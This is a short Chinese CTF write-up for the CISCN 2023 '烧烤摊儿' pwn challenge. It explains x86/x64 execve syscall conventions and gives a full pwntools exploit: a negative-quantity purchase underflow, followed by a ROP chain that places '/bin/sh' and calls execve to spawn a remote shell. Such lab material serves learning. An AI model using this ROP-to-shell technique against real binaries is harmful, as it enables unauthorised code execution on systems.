PWN入门-ret2syscall做题
[CISCN 2023 初赛]烧烤摊儿
x86下syscall
的中断方法为int 0x80
,x64下为syscall
。
在x86下execve
的系统调用号为0x0B,保存在eax
,传参分别在ebx
、ecx
、edx
。
在x64下execve
的系统调用号为0x3B,保存在rax
,传参分别在rdi
、rsi
、rdx
。
这道题是x64。
至于钱不够可以买负数瓶啤酒。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context(arch='amd64',os='linux',log_level='debug') p=remote('node4.anna.nssctf.cn',28543) elf=ELF('./attachment') rop=ROP(elf) p.recvuntil('> ') p.sendline(b'1') p.sendline(b'1') p.sendline(b'-999999') p.recvuntil('> ') p.sendline(b'4') p.recvuntil('> ') p.sendline(b'5') shellcode=b'/bin/sh\x00' padding=cyclic(0x20) pop_rax_ret=p64(rop.find_gadget(['pop rax','ret'])[0]) int_num=p64(0x3B) pop_rdi_ret=p64(rop.find_gadget(['pop rdi','ret'])[0]) shellcode_addr=p64(elf.symbols['name']) pop_rsi_ret=p64(rop.find_gadget(['pop rsi','ret'])[0]) value_zero=p64(0) pop_rdx_pop_rbx_ret=p64(rop.find_gadget(['pop rdx','pop rbx','ret'])[0]) syscall80_addr=p64(rop.find_gadget(['syscall'])[0]) payload1=flat([shellcode,padding,pop_rax_ret,int_num,pop_rdi_ret,shellcode_addr,pop_rsi_ret,value_zero,pop_rdx_pop_rbx_ret,value_zero,value_zero,syscall80_addr]) p.sendline(payload1) p.interactive()
|